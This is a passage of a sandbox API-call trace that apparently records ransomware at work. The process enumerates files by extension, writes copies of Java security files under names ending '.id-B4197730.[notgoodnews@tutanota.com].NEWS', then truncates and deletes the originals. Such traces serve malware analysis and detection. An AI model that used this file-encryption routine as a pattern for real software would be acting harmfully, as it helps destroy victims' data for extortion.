1 [0165.829] lstrlenW (lpString=".xls") returned 4 [0165.829] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0165.829] lstrlenW (lpString=".xlsx") returned 5 [0165.829] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0165.829] lstrlenW (lpString=".ppt") returned 4 [0165.829] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0165.829] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0165.829] lstrlenW (lpString=".zip") returned 4 [0165.829] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0165.829] lstrlenW (lpString=".rar") returned 4 [0165.829] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0165.829] lstrlenW (lpString=".bz2") returned 4 [0165.829] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0165.830] lstrlenW (lpString=".7z") returned 3 [0165.830] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0165.830] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0165.830] lstrlenW (lpString=".dbf") returned 4 [0165.830] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0165.830] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0165.830] lstrlenW (lpString=".1cd") returned 4 [0165.830] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0165.830] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0165.830] lstrlenW (lpString=".jpg") returned 4 [0165.830] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0165.830] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0165.830] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0165.830] lstrlenW (lpString=".doc") returned 4 [0165.830] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0165.830] lstrlenW (lpString=".docx") returned 5 [0165.830] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0165.830] lstrlenW (lpString=".pdf") returned 4 [0165.830] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0165.830] lstrlenW (lpString=".xls") returned 4 [0165.830] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0165.830] lstrlenW (lpString=".xlsx") returned 5 [0165.830] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0165.830] lstrlenW (lpString=".ppt") returned 4 [0165.830] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0165.830] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0165.830] lstrlenW (lpString=".zip") returned 4 [0165.830] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0165.830] lstrlenW (lpString=".rar") returned 4 [0165.831] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0165.831] lstrlenW (lpString=".bz2") returned 4 [0165.831] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0165.831] lstrlenW (lpString=".7z") returned 3 [0165.831] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0165.831] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0165.831] lstrlenW (lpString=".dbf") returned 4 [0165.831] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0165.831] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0165.831] lstrlenW (lpString=".1cd") returned 4 [0165.831] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0165.831] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0165.831] lstrlenW (lpString=".jpg") returned 4 [0165.831] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0165.831] lstrcmpiW (lpString1=".0_144\\lib\\security\\blacklist", lpString2=".NEWS") returned -1 [0165.831] lstrlenW (lpString="blacklist") returned 9 [0165.831] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0165.834] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=4054) returned 1 [0165.834] CloseHandle (hObject=0x520) returned 1 [0165.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist")) returned 0x20 [0165.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.835] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0165.835] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.835] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.835] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0165.887] GetLastError () returned 0x0 [0165.887] ReadFile (in: hFile=0x520, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0xfd6, lpOverlapped=0x0) returned 1 [0165.890] WriteFile (in: hFile=0x528, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xfe0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xfe0, lpOverlapped=0x0) returned 1 [0165.891] ReadFile (in: hFile=0x520, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0165.891] WriteFile (in: hFile=0x528, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xe6, lpOverlapped=0x0) returned 1 [0165.891] SetEndOfFile (hFile=0x528) returned 1 [0165.891] CloseHandle (hObject=0x528) returned 1 [0165.891] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.891] SetEndOfFile (hFile=0x520) returned 1 [0165.896] CloseHandle (hObject=0x520) returned 1 [0165.896] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0165.896] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist")) returned 1 [0165.897] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0165.897] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0165.897] lstrlenW (lpString=".doc") returned 4 [0165.897] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1 [0165.898] lstrlenW (lpString=".docx") returned 5 [0165.898] lstrcmpiW (lpString1=".docx", lpString2="klist") returned -1 [0165.898] lstrlenW (lpString=".pdf") returned 4 [0165.898] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1 [0165.898] lstrlenW (lpString=".xls") returned 4 [0165.898] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1 [0165.898] lstrlenW (lpString=".xlsx") returned 5 [0165.898] lstrcmpiW (lpString1=".xlsx", lpString2="klist") returned -1 [0165.898] lstrlenW (lpString=".ppt") returned 4 [0165.898] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1 [0165.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0165.898] lstrlenW (lpString=".zip") returned 4 [0165.898] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1 [0165.898] lstrlenW (lpString=".rar") returned 4 [0165.898] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1 [0165.898] lstrlenW (lpString=".bz2") returned 4 [0165.898] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1 [0165.898] lstrlenW (lpString=".7z") returned 3 [0165.898] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1 [0165.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0165.898] lstrlenW (lpString=".dbf") returned 4 [0165.898] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1 [0165.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0165.898] lstrlenW (lpString=".1cd") returned 4 [0165.898] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1 [0165.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0165.898] lstrlenW (lpString=".jpg") returned 4 [0165.898] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1 [0165.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0165.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0165.899] lstrlenW (lpString=".doc") returned 4 [0165.899] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1 [0165.899] lstrlenW (lpString=".docx") returned 5 [0165.899] lstrcmpiW (lpString1=".docx", lpString2="klist") returned -1 [0165.899] lstrlenW (lpString=".pdf") returned 4 [0165.899] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1 [0165.899] lstrlenW (lpString=".xls") returned 4 [0165.899] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1 [0165.899] lstrlenW (lpString=".xlsx") returned 5 [0165.899] lstrcmpiW (lpString1=".xlsx", lpString2="klist") returned -1 [0165.899] lstrlenW (lpString=".ppt") returned 4 [0165.899] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1 [0165.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0165.899] lstrlenW (lpString=".zip") returned 4 [0165.899] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1 [0165.899] lstrlenW (lpString=".rar") returned 4 [0165.899] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1 [0165.899] lstrlenW (lpString=".bz2") returned 4 [0165.899] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1 [0165.899] lstrlenW (lpString=".7z") returned 3 [0165.899] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1 [0165.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0165.899] lstrlenW (lpString=".dbf") returned 4 [0165.899] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1 [0165.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0165.899] lstrlenW (lpString=".1cd") returned 4 [0165.899] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1 [0165.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0165.900] lstrlenW (lpString=".jpg") returned 4 [0165.900] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1 [0165.900] lstrcmpiW (lpString1=".certs", lpString2=".NEWS") returned -1 [0165.900] lstrlenW (lpString="blacklisted.certs") returned 17 [0165.900] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0165.901] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=1253) returned 1 [0165.901] CloseHandle (hObject=0x520) returned 1 [0165.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs")) returned 0x20 [0165.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.902] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0165.902] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.902] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.902] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0165.903] GetLastError () returned 0x0 [0165.903] ReadFile (in: hFile=0x520, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x4e5, lpOverlapped=0x0) returned 1 [0165.905] WriteFile (in: hFile=0x528, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x4f0, lpOverlapped=0x0) returned 1 [0165.906] ReadFile (in: hFile=0x520, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0165.907] WriteFile (in: hFile=0x528, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xf6, lpOverlapped=0x0) returned 1 [0165.907] SetEndOfFile (hFile=0x528) returned 1 [0165.907] CloseHandle (hObject=0x528) returned 1 [0165.907] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.907] SetEndOfFile (hFile=0x520) returned 1 [0165.911] CloseHandle (hObject=0x520) returned 1 [0165.911] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0165.912] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs")) returned 1 [0165.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0165.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0165.913] lstrlenW (lpString=".doc") returned 4 [0165.913] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1 [0165.913] lstrlenW (lpString=".docx") returned 5 [0165.913] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1 [0165.913] lstrlenW (lpString=".pdf") returned 4 [0165.913] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1 [0165.913] lstrlenW (lpString=".xls") returned 4 [0165.913] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1 [0165.913] lstrlenW (lpString=".xlsx") returned 5 [0165.913] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1 [0165.913] lstrlenW (lpString=".ppt") returned 4 [0165.913] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1 [0165.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0165.913] lstrlenW (lpString=".zip") returned 4 [0165.913] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1 [0165.913] lstrlenW (lpString=".rar") returned 4 [0165.913] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1 [0165.913] lstrlenW (lpString=".bz2") returned 4 [0165.913] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1 [0165.913] lstrlenW (lpString=".7z") returned 3 [0165.913] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1 [0165.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0165.913] lstrlenW (lpString=".dbf") returned 4 [0165.913] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1 [0165.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0165.913] lstrlenW (lpString=".1cd") returned 4 [0165.913] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1 [0165.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0165.913] lstrlenW (lpString=".jpg") returned 4 [0165.913] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1 [0165.914] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0165.914] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0165.914] lstrlenW (lpString=".doc") returned 4 [0165.914] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1 [0165.914] lstrlenW (lpString=".docx") returned 5 [0165.914] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1 [0165.914] lstrlenW (lpString=".pdf") returned 4 [0165.914] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1 [0165.914] lstrlenW (lpString=".xls") returned 4 [0165.914] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1 [0165.914] lstrlenW (lpString=".xlsx") returned 5 [0165.914] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1 [0165.914] lstrlenW (lpString=".ppt") returned 4 [0165.914] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1 [0165.914] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0165.914] lstrlenW (lpString=".zip") returned 4 [0165.914] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1 [0165.914] lstrlenW (lpString=".rar") returned 4 [0165.914] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1 [0165.914] lstrlenW (lpString=".bz2") returned 4 [0165.914] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1 [0165.914] lstrlenW (lpString=".7z") returned 3 [0165.914] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1 [0165.914] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0165.914] lstrlenW (lpString=".dbf") returned 4 [0165.914] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1 [0165.914] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0165.914] lstrlenW (lpString=".1cd") returned 4 [0165.914] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1 [0165.914] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0165.914] lstrlenW (lpString=".jpg") returned 4 [0165.914] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1 [0165.915] lstrcmpiW (lpString1=".0_144\\lib\\security\\cacerts", lpString2=".NEWS") returned -1 [0165.915] lstrlenW (lpString="cacerts") returned 7 [0165.915] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0165.915] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=114923) returned 1 [0165.915] CloseHandle (hObject=0x520) returned 1 [0165.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts")) returned 0x20 [0165.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.916] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0165.916] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.916] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.916] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0165.917] GetLastError () returned 0x0 [0165.917] ReadFile (in: hFile=0x520, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x1c0eb, lpOverlapped=0x0) returned 1 [0166.175] WriteFile (in: hFile=0x528, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x1c0f0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x1c0f0, lpOverlapped=0x0) returned 1 [0166.253] ReadFile (in: hFile=0x520, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0166.253] WriteFile (in: hFile=0x528, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xe2, lpOverlapped=0x0) returned 1 [0166.253] SetEndOfFile (hFile=0x528) returned 1 [0166.253] CloseHandle (hObject=0x528) returned 1 [0166.253] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0166.253] SetEndOfFile (hFile=0x520) returned 1 [0166.258] CloseHandle (hObject=0x520) returned 1 [0166.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0166.259] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts")) returned 1 [0166.259] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0166.259] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0166.259] lstrlenW (lpString=".doc") returned 4 [0166.259] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1 [0166.259] lstrlenW (lpString=".docx") returned 5 [0166.259] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1 [0166.259] lstrlenW (lpString=".pdf") returned 4 [0166.259] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1 [0166.260] lstrlenW (lpString=".xls") returned 4 [0166.260] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1 [0166.260] lstrlenW (lpString=".xlsx") returned 5 [0166.260] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1 [0166.260] lstrlenW (lpString=".ppt") returned 4 [0166.260] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1 [0166.260] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0166.260] lstrlenW (lpString=".zip") returned 4 [0166.260] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1 [0166.260] lstrlenW (lpString=".rar") returned 4 [0166.260] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1 [0166.260] lstrlenW (lpString=".bz2") returned 4 [0166.260] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1 [0166.260] lstrlenW (lpString=".7z") returned 3 [0166.260] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1 [0166.260] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0166.260] lstrlenW (lpString=".dbf") returned 4 [0166.260] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1 [0166.260] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0166.260] lstrlenW (lpString=".1cd") returned 4 [0166.260] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1 [0166.260] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0166.260] lstrlenW (lpString=".jpg") returned 4 [0166.260] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1 [0166.260] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0166.261] lstrlenW (lpString="C:\\Program 